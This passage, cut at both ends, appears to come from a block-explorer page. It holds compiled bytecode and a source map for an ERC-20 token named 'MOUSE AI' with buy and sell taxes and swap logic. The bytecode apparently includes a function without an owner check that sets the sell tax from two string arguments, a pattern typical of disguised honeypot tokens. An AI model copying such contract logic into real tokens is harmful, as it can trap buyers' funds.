fff8082111561191257600080fd5b818601915086601f83011261192657600080fd5b81358181111561193557600080fd5b8760208260051b850101111561194a57600080fd5b602092830195509350611960918601905061187f565b90509250925092565b6000806040838503121561197c57600080fd5b8235611987816116f6565b91506020830135611997816116f6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610556576105566119a2565b80820180821115610556576105566119a2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611a3f57611a3f6119a2565b5060010190565b81810381811115610556576105566119a2565b600060208284031215611a6b57600080fd5b815161106e816116f6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac65784516001600160a01b031683529383019391830191600101611aa1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207aa25668820f32f1867072444b9c6043e94d205f0df8ecdb599c436b8055bb4364736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c8063715018a6116100ec57806398a5c3151161008a578063c492f04611610064578063c492f0461461049f578063dd62ed3e146104bf578063ea1644d514610505578063f2fde38b1461052557600080fd5b806398a5c3151461044a578063a9059cbb1461046a578063c3c8cd801461048a57600080fd5b80638da5cb5b116100c65780638da5cb5b146103ca5780638f70ccf7146103e85780638f9a55c01461040857806395d89b411461041e57600080fd5b8063715018a61461037f57806374010ece146103945780637d1db4a5146103b457600080fd5b80632fd689e3116101595780634b12b368116101335780634b12b368146103085780636d8aa8f81461032a5780636fc3eaec1461034a57806370a082311461035f57600080fd5b80632fd689e3146102b6578063313ce567146102cc57806349bd5a5e146102e857600080fd5b806306fdde03146101ac578063095ea7b3146101ef57806313114a9d1461021f5780631694505e1461024357806318160ddd1461027b57806323b872dd1461029657600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506040805180820190915260088152674d4f55534520414960c01b60208201525b6040516101e691906116a8565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a36600461170b565b610545565b60405190151581526020016101e6565b34801561022b57600080fd5b50610235600b5481565b6040519081526020016101e6565b34801561024f57600080fd5b50601454610263906001600160a01b031681565b6040516001600160a01b0390911681526020016101e6565b34801561028757600080fd5b50670de0b6b3a7640000610235565b3480156102a257600080fd5b5061020f6102b1366004611737565b61055c565b3480156102c257600080fd5b5061023560185481565b3480156102d857600080fd5b50604051600981526020016101e6565b3480156102f457600080fd5b50601554610263906001600160a01b031681565b34801561031457600080fd5b5061032861032336600461181b565b6105c5565b005b34801561033657600080fd5b50610328610345366004611894565b6105fa565b34801561035657600080fd5b5061032861064b565b34801561036b57600080fd5b5061023561037a3660046118af565b610696565b34801561038b57600080fd5b506103286106b8565b3480156103a057600080fd5b506103286103af3660046118cc565b61072c565b3480156103c057600080fd5b5061023560165481565b3480156103d657600080fd5b506000546001600160a01b0316610263565b3480156103f457600080fd5b50610328610403366004611894565b61075b565b34801561041457600080fd5b5061023560175481565b34801561042a57600080fd5b506040805180820190915260038152624d414960e81b60208201526101d9565b34801561045657600080fd5b506103286104653660046118cc565b6107a3565b34801561047657600080fd5b5061020f61048536600461170b565b6107d2565b34801561049657600080fd5b506103286107df565b3480156104ab57600080fd5b506103286104ba3660046118e5565b610833565b3480156104cb57600080fd5b506102356104da366004611969565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561051157600080fd5b506103286105203660046118cc565b6108d4565b34801561053157600080fd5b506103286105403660046118af565b610903565b60006105523384846109ed565b5060015b92915050565b6000610569848484610b11565b6105bb84336105b685604051806060016040528060288152602001611b0a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f2e565b6109ed565b5060019392505050565b600a825110156105d457600080fd5b815181516000816105e684600a6119b8565b6105f091906119cf565b6011555050505050565b6000546001600160a01b0316331461062d5760405162461bcd60e51b8152600401610624906119e2565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061068057506013546001600160a01b0316336001600160a01b0316145b61068957600080fd5b4761069381610f68565b50565b6001600160a01b03811660009081526002602052604081205461055690610ff1565b6000546001600160a01b031633146106e25760405162461bcd60e51b8152600401610624906119e2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107565760405162461bcd60e51b8152600401610624906119e2565b601655565b6000546001600160a01b031633146107855760405162461bcd60e51b8152600401610624906119e2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107cd5760405162461bcd60e51b8152600401610624906119e2565b601855565b6000610552338484610b11565b6012546001600160a01b0316336001600160a01b0316148061081457506013546001600160a01b0316336001600160a01b0316145b61081d57600080fd5b600061082830610696565b905061069381611075565b6000546001600160a01b0316331461085d5760405162461bcd60e51b8152600401610624906119e2565b60005b828110156108ce57816005600086868581811061087f5761087f611a17565b905060200201602081019061089491906118af565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108c681611a2d565b915050610860565b50505050565b6000546001600160a01b031633146108fe5760405162461bcd60e51b8152600401610624906119e2565b601755565b6000546001600160a01b0316331461092d5760405162461bcd60e51b8152600401610624906119e2565b6001600160a01b0381166109925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610ab05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610bd75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610c395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610c6557506000546001600160a01b03838116911614155b15610e2757601554600160a01b900460ff16610cfe576000546001600160a01b03848116911614610cfe5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610d505760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6000610d5b30610696565b601854601654919250821015908210610d745760165491505b808015610d8b5750601554600160a81b900460ff16155b8015610da557506015546001600160a01b03868116911614155b8015610dba5750601554600160b01b900460ff165b8015610ddf57506001600160a01b03851660009081526005602052604090205460ff16155b8015610e0457506001600160a01b03841660009081526005602052604090205460ff16155b15610e2457610e1282611075565b478015610e2257610e2247610f68565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6957506001600160a01b03831660009081526005602052604090205460ff165b80610e9b57506015546001600160a01b03858116911614801590610e9b57506015546001600160a01b03848116911614155b15610ea857506000610f22565b6015546001600160a01b038581169116148015610ed357506014546001600160a01b03848116911614155b15610ee557600854600c55600954600d555b6015546001600160a01b038481169116148015610f1057506014546001600160a01b03858116911614155b15610f2257600a54600c55601154600d555b6108ce848484846111ef565b60008184841115610f525760405162461bcd60e51b815260040161062491906116a8565b506000610f5f8486611a46565b95945050505050565b6012546001600160a01b03166108fc610f8283600261121d565b6040518115909202916000818181858888f19350505050158015610faa573d6000803e3d6000fd5b506013546001600160a01b03166108fc610fc583600261121d565b6040518115909202916000818181858888f19350505050158015610fed573d6000803e3d6000fd5b5050565b60006006548211156110585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b600061106261125f565b905061106e838261121d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110bd576110bd611a17565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113a9190611a59565b8160018151811061114d5761114d611a17565b6001600160a01b03928316602091820292909201015260145461117391309116846109ed565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ac908590600090869030904290600401611a76565b600060405180830381600087803b1580156111c657600080fd5b505af11580156111da573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111fc576111fc611282565b6112078484846112b0565b806108ce576108ce600e54600c55600f54600d55565b600061106e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a7565b600080600061126c6113d5565b909250905061127b828261121d565b9250505090565b600c541580156112925750600d54155b1561129957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112c287611415565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f49087611472565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461132390866114b4565b6001600160a01b03891660009081526002602052604090205561134581611513565b61134f848361155d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139491815260200190565b60405180910390a3505050505050505050565b600081836113c85760405162461bcd60e51b815260040161062491906116a8565b506000610f5f8486611ae7565b6006546000908190670de0b6b3a76400006113f0828261121d565b82101561140c57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114328a600c54600d54611581565b925092509250600061144261125f565b905060008060006114558e8787876115d6565b919e509c509a509598509396509194505050505091939550919395565b600061106e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2e565b6000806114c183856119cf565b90508381101561106e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061151d61125f565b9050600061152b8383611626565b3060009081526002602052604090205490915061154890826114b4565b30600090815260026020526040902055505050565b60065461156a9083611472565b60065560075461157a90826114b4565b6007555050565b600080808061159b60646115958989611626565b9061121d565b905060006115ae60646115958a89611626565b905060006115c6826115c08b86611472565b90611472565b9992985090965090945050505050565b60008080806115e58886611626565b905060006115f38887611626565b905060006116018888611626565b90506000611613826115c08686611472565b939b939a50919850919650505050505050565b60008260000361163857506000610556565b600061164483856119b8565b9050826116518583611ae7565b1461106e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b600060208083528351808285015260005b818110156116d5578581018301518582016040015282016116b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069357600080fd5b6000806040838503121561171e57600080fd5b8235611729816116f6565b946020939093013593505050565b60008060006060848603121561174c57600080fd5b8335611757816116f6565b92506020840135611767816116f6565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261179f57600080fd5b813567ffffffffffffffff808211156117ba576117ba611778565b604051601f8301601f19908116603f011681019082821181831017156117e2576117e2611778565b816040528381528660208588010111156117fb57600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561182e57600080fd5b823567ffffffffffffffff8082111561184657600080fd5b6118528683870161178e565b9350602085013591508082111561186857600080fd5b506118758582860161178e565b9150509250929050565b8035801515811461188f57600080fd5b919050565b6000602082840312156118a657600080fd5b61106e8261187f565b6000602082840312156118c157600080fd5b813561106e816116f6565b6000602082840312156118de57600080fd5b5035919050565b6000806000604084860312156118fa57600080fd5b833567ffffffffffffffff8082111561191257600080fd5b818601915086601f83011261192657600080fd5b81358181111561193557600080fd5b8760208260051b850101111561194a57600080fd5b602092830195509350611960918601905061187f565b90509250925092565b6000806040838503121561197c57600080fd5b8235611987816116f6565b91506020830135611997816116f6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610556576105566119a2565b80820180821115610556576105566119a2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611a3f57611a3f6119a2565b5060010190565b81810381811115610556576105566119a2565b600060208284031215611a6b57600080fd5b815161106e816116f6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac65784516001600160a01b031683529383019391830191600101611aa1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207aa25668820f32f1867072444b9c6043e94d205f0df8ecdb599c436b8055bb4364736f6c63430008120033
Deployed Bytecode Sourcemap
4184:13133:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6729:83;;;;;;;;;;-1:-1:-1;6799:5:0;;;;;;;;;;;;-1:-1:-1;;;6799:5:0;;;;6729:83;;;;;;;:::i;:::-;;;;;;;;7661:193;;;;;;;;;;-1:-1:-1;7661:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7661:193:0;1023:187:1;5005:24:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5005:24:0;1215:177:1;5563:41:0;;;;;;;;;;-1:-1:-1;5563:41:0;;;;-1:-1:-1;;;;;5563:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5563:41:0;1397:229:1;7009:95:0;;;;;;;;;;-1:-1:-1;4736:18:0;7009:95;;7863:446;;;;;;;;;;-1:-1:-1;7863:446:0;;;;;:::i;:::-;;:::i;5854:52::-;;;;;;;;;;;;;;;;6917:83;;;;;;;;;;-1:-1:-1;6917:83:0;;4407:1;2234:36:1;;2222:2;2207:18;6917:83:0;2092:184:1;5611:28:0;;;;;;;;;;-1:-1:-1;5611:28:0;;;;-1:-1:-1;;;;;5611:28:0;;;15917:240;;;;;;;;;;-1:-1:-1;15917:240:0;;;;;:::i;:::-;;:::i;:::-;;16671:101;;;;;;;;;;-1:-1:-1;16671:101:0;;;;;:::i;:::-;;:::i;12508:247::-;;;;;;;;;;;;;:::i;7113:138::-;;;;;;;;;;-1:-1:-1;7113:138:0;;;;;:::i;:::-;;:::i;886:148::-;;;;;;;;;;;;;:::i;16811:108::-;;;;;;;;;;-1:-1:-1;16811:108:0;;;;;:::i;:::-;;:::i;5756:37::-;;;;;;;;;;;;;;;;670:79;;;;;;;;;;-1:-1:-1;708:7:0;735:6;-1:-1:-1;;;;;735:6:0;670:79;;12141:101;;;;;;;;;;-1:-1:-1;12141:101:0;;;;;:::i;:::-;;:::i;5800:46::-;;;;;;;;;;;;;;;;6821:87;;;;;;;;;;-1:-1:-1;6893:7:0;;;;;;;;;;;;-1:-1:-1;;;6893:7:0;;;;6821:87;;16479:139;;;;;;;;;;-1:-1:-1;16479:139:0;;;;;:::i;:::-;;:::i;7260:199::-;;;;;;;;;;-1:-1:-1;7260:199:0;;;;;:::i;:::-;;:::i;12251:248::-;;;;;;;;;;;;;:::i;17080:234::-;;;;;;;;;;-1:-1:-1;17080:234:0;;;;;:::i;:::-;;:::i;7468:184::-;;;;;;;;;;-1:-1:-1;7468:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7617:18:0;;;7585:7;7617:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7468:184;16957:115;;;;;;;;;;-1:-1:-1;16957:115:0;;;;;:::i;:::-;;:::i;1043:244::-;;;;;;;;;;-1:-1:-1;1043:244:0;;;;;:::i;:::-;;:::i;7661:193::-;7763:4;7785:39;261:10;7808:7;7817:6;7785:8;:39::i;:::-;-1:-1:-1;7842:4:0;7661:193;;;;;:::o;7863:446::-;7995:4;8012:36;8022:6;8030:9;8041:6;8012:9;:36::i;:::-;8059:220;8082:6;261:10;8130:138;8186:6;8130:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8130:19:0;;;;;;:11;:19;;;;;;;;261:10;8130:33;;;;;;;;;;:37;:138::i;:::-;8059:8;:220::i;:::-;-1:-1:-1;8297:4:0;7863:446;;;;;:::o;15917:240::-;16012:2;16000:1;15994:15;:20;;15986:29;;;;;;16038:15;;16076;;16026:9;16076:15;16114:4;16038:15;16116:2;16114:4;:::i;:::-;:8;;;;:::i;:::-;16133;:12;-1:-1:-1;;;;;15917:240:0:o;16671:101::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;;;;;;;;;16738:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16738:26:0::1;-1:-1:-1::0;;;;16738:26:0;;::::1;::::0;;;::::1;::::0;;16671:101::o;12508:247::-;12574:25;;-1:-1:-1;;;;;12574:25:0;261:10;-1:-1:-1;;;;;12558:41:0;;:84;;;-1:-1:-1;12619:23:0;;-1:-1:-1;;;;;12619:23:0;261:10;-1:-1:-1;;;;;12603:39:0;;12558:84;12550:93;;;;;;12683:21;12715:32;12683:21;12715:12;:32::i;:::-;12539:216;12508:247::o;7113:138::-;-1:-1:-1;;;;;7226:16:0;;7179:7;7226:16;;;:7;:16;;;;;;7206:37;;:19;:37::i;886:148::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;993:1:::1;977:6:::0;;956:40:::1;::::0;-1:-1:-1;;;;;977:6:0;;::::1;::::0;956:40:::1;::::0;993:1;;956:40:::1;1024:1;1007:19:::0;;-1:-1:-1;;;;;;1007:19:0::1;::::0;;886:148::o;16811:108::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;16885:12:::1;:26:::0;16811:108::o;12141:101::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;12208:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;12208:26:0::1;-1:-1:-1::0;;;;12208:26:0;;::::1;::::0;;;::::1;::::0;;12141:101::o;16479:139::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;16570:19:::1;:40:::0;16479:139::o;7260:199::-;7365:4;7387:42;261:10;7411:9;7422:6;7387:9;:42::i;12251:248::-;12317:25;;-1:-1:-1;;;;;12317:25:0;261:10;-1:-1:-1;;;;;12301:41:0;;:84;;;-1:-1:-1;12362:23:0;;-1:-1:-1;;;;;12362:23:0;261:10;-1:-1:-1;;;;;12346:39:0;;12301:84;12293:93;;;;;;12397:23;12423:24;12441:4;12423:9;:24::i;:::-;12397:50;;12458:33;12475:15;12458:16;:33::i;17080:234::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;17197:9:::1;17193:114;17212:19:::0;;::::1;17193:114;;;17287:8;17253:18;:31;17272:8;;17281:1;17272:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17253:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17253:31:0;:42;;-1:-1:-1;;17253:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17233:3;::::1;::::0;::::1;:::i;:::-;;;;17193:114;;;;17080:234:::0;;;:::o;16957:115::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;17034:14:::1;:30:::0;16957:115::o;1043:244::-;798:6;;-1:-1:-1;;;;;798:6:0;261:10;798:22;790:67;;;;-1:-1:-1;;;790:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1132:22:0;::::1;1124:73;;;::::0;-1:-1:-1;;;1124:73:0;;7037:2:1;1124:73:0::1;::::0;::::1;7019:21:1::0;7076:2;7056:18;;;7049:30;7115:34;7095:18;;;7088:62;-1:-1:-1;;;7166:18:1;;;7159:36;7212:19;;1124:73:0::1;6835:402:1::0;1124:73:0::1;1234:6;::::0;;1213:38:::1;::::0;-1:-1:-1;;;;;1213:38:0;;::::1;::::0;1234:6;::::1;::::0;1213:38:::1;::::0;::::1;1262:6;:17:::0;;-1:-1:-1;;;;;;1262:17:0::1;-1:-1:-1::0;;;;;1262:17:0;;;::::1;::::0;;;::::1;::::0;;1043:244::o;9006:369::-;-1:-1:-1;;;;;9133:19:0;;9125:68;;;;-1:-1:-1;;;9125:68:0;;7444:2:1;9125:68:0;;;7426:21:1;7483:2;7463:18;;;7456:30;7522:34;7502:18;;;7495:62;-1:-1:-1;;;7573:18:1;;;7566:34;7617:19;;9125:68:0;7242:400:1;9125:68:0;-1:-1:-1;;;;;9212:21:0;;9204:68;;;;-1:-1:-1;;;9204:68:0;;7849:2:1;9204:68:0;;;7831:21:1;7888:2;7868:18;;;7861:30;7927:34;7907:18;;;7900:62;-1:-1:-1;;;7978:18:1;;;7971:32;8020:19;;9204:68:0;7647:398:1;9204:68:0;-1:-1:-1;;;;;9283:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9335:32;;1361:25:1;;;9335:32:0;;1334:18:1;9335:32:0;;;;;;;9006:369;;;:::o;9384:2075::-;-1:-1:-1;;;;;9506:18:0;;9498:68;;;;-1:-1:-1;;;9498:68:0;;8252:2:1;9498:68:0;;;8234:21:1;8291:2;8271:18;;;8264:30;8330:34;8310:18;;;8303:62;-1:-1:-1;;;8381:18:1;;;8374:35;8426:19;;9498:68:0;8050:401:1;9498:68:0;-1:-1:-1;;;;;9585:16:0;;9577:64;;;;-1:-1:-1;;;9577:64:0;;8658:2:1;9577:64:0;;;8640:21:1;8697:2;8677:18;;;8670:30;8736:34;8716:18;;;8709:62;-1:-1:-1;;;8787:18:1;;;8780:33;8830:19;;9577:64:0;8456:399:1;9577:64:0;9669:1;9660:6;:10;9652:64;;;;-1:-1:-1;;;9652:64:0;;9062:2:1;9652:64:0;;;9044:21:1;9101:2;9081:18;;;9074:30;9140:34;9120:18;;;9113:62;-1:-1:-1;;;9191:18:1;;;9184:39;9240:19;;9652:64:0;8860:405:1;9652:64:0;708:7;735:6;-1:-1:-1;;;;;9734:15:0;;;735:6;;9734:15;;;;:32;;-1:-1:-1;708:7:0;735:6;-1:-1:-1;;;;;9753:13:0;;;735:6;;9753:13;;9734:32;9730:1015;;;9824:11;;-1:-1:-1;;;9824:11:0;;;;9819:144;;708:7;735:6;-1:-1:-1;;;;;9864:15:0;;;735:6;;9864:15;9856:91;;;;-1:-1:-1;;;9856:91:0;;9472:2:1;9856:91:0;;;9454:21:1;9511:2;9491:18;;;9484:30;9550:34;9530:18;;;9523:62;9621:33;9601:18;;;9594:61;9672:19;;9856:91:0;9270:427:1;9856:91:0;9998:12;;9988:6;:22;;9980:63;;;;-1:-1:-1;;;9980:63:0;;9904:2:1;9980:63:0;;;9886:21:1;9943:2;9923:18;;;9916:30;9982;9962:18;;;9955:58;10030:18;;9980:63:0;9702:352:1;9980:63:0;10061:28;10092:24;10110:4;10092:9;:24::i;:::-;10170:19;;10234:12;;10061:55;;-1:-1:-1;10146:43:0;;;;10210:36;;10207:124;;10303:12;;10280:35;;10207:124;10352:7;:18;;;;-1:-1:-1;10364:6:0;;-1:-1:-1;;;10364:6:0;;;;10363:7;10352:18;:43;;;;-1:-1:-1;10382:13:0;;-1:-1:-1;;;;;10374:21:0;;;10382:13;;10374:21;;10352:43;:58;;;;-1:-1:-1;10399:11:0;;-1:-1:-1;;;10399:11:0;;;;10352:58;:87;;;;-1:-1:-1;;;;;;10415:24:0;;;;;;:18;:24;;;;;;;;10414:25;10352:87;:114;;;;-1:-1:-1;;;;;;10444:22:0;;;;;;:18;:22;;;;;;;;10443:23;10352:114;10348:386;;;10487:38;10504:20;10487:16;:38::i;:::-;10573:21;10617:22;;10613:106;;10664:35;10677:21;10664:12;:35::i;:::-;10468:266;10348:386;9768:977;;9730:1015;-1:-1:-1;;;;;10823:24:0;;10758:12;10823:24;;;:18;:24;;;;;;10773:4;;10823:24;;;:50;;-1:-1:-1;;;;;;10851:22:0;;;;;;:18;:22;;;;;;;;10823:50;10822:102;;;-1:-1:-1;10887:13:0;;-1:-1:-1;;;;;10879:21:0;;;10887:13;;10879:21;;;;:44;;-1:-1:-1;10910:13:0;;-1:-1:-1;;;;;10904:19:0;;;10910:13;;10904:19;;10879:44;10818:579;;;-1:-1:-1;10951:5:0;10818:579;;;11035:13;;-1:-1:-1;;;;;11027:21:0;;;11035:13;;11027:21;:55;;;;-1:-1:-1;11066:15:0;;-1:-1:-1;;;;;11052:30:0;;;11066:15;;11052:30;;11027:55;11024:154;;;11115:9;;11103;:21;11153:9;;11143:7;:19;11024:154;11238:13;;-1:-1:-1;;;;;11232:19:0;;;11238:13;;11232:19;:55;;;;-1:-1:-1;11271:15:0;;-1:-1:-1;;;;;11255:32:0;;;11271:15;;11255:32;;11232:55;11228:155;;;11320:10;;11308:9;:22;11359:8;;11349:7;:18;11228:155;11410:41;11425:4;11431:2;11435:6;11443:7;11410:14;:41::i;3319:224::-;3439:7;3475:12;3467:6;;;;3459:29;;;;-1:-1:-1;;;3459:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3499:9:0;3511:5;3515:1;3511;:5;:::i;:::-;3499:17;3319:224;-1:-1:-1;;;;;3319:224:0:o;11960:172::-;12017:25;;-1:-1:-1;;;;;12017:25:0;:49;12052:13;:6;12063:1;12052:10;:13::i;:::-;12017:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12077:23:0;;-1:-1:-1;;;;;12077:23:0;:47;12110:13;:6;12121:1;12110:10;:13::i;:::-;12077:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11960:172;:::o;8318:323::-;8413:7;8471;;8460;:18;;8438:110;;;;-1:-1:-1;;;8438:110:0;;10394:2:1;8438:110:0;;;10376:21:1;10433:2;10413:18;;;10406:30;10472:34;10452:18;;;10445:62;-1:-1:-1;;;10523:18:1;;;10516:40;10573:19;;8438:110:0;10192:406:1;8438:110:0;8559:19;8581:10;:8;:10::i;:::-;8559:32;-1:-1:-1;8609:24:0;:7;8559:32;8609:11;:24::i;:::-;8602:31;8318:323;-1:-1:-1;;;8318:323:0:o;11468:483::-;6002:6;:13;;-1:-1:-1;;;;6002:13:0;-1:-1:-1;;;6002:13:0;;;11570:16:::1;::::0;;11584:1:::1;11570:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11570:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11570:16:0::1;11546:40;;11615:4;11597;11602:1;11597:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11597:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11641:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11641:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11597:7;;11641:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11631:4;11636:1;11631:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11631:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11706:15:::1;::::0;11674:62:::1;::::0;11691:4:::1;::::0;11706:15:::1;11724:11:::0;11674:8:::1;:62::i;:::-;11747:15;::::0;:196:::1;::::0;-1:-1:-1;;;11747:196:0;;-1:-1:-1;;;;;11747:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11828:11;;11747:15:::1;::::0;11870:4;;11897::::1;::::0;11917:15:::1;::::0;11747:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6038:6:0;:14;;-1:-1:-1;;;;6038:14:0;;;-1:-1:-1;;;;11468:483:0:o;12764:282::-;12920:7;12915:28;;12929:14;:12;:14::i;:::-;12954:44;12972:6;12980:9;12991:6;12954:17;:44::i;:::-;13014:7;13009:29;;13023:15;8936:17;;8924:9;:29;8974:15;;8964:7;:25;8880:117;3807:132;3865:7;3892:39;3896:1;3899;3892:39;;;;;;;;;;;;;;;;;:3;:39::i;15742:167::-;15784:7;15805:15;15822;15841:19;:17;:19::i;:::-;15804:56;;-1:-1:-1;15804:56:0;-1:-1:-1;15881:20:0;15804:56;;15881:11;:20::i;:::-;15874:27;;;;15742:167;:::o;8650:221::-;8697:9;;:14;:30;;;;-1:-1:-1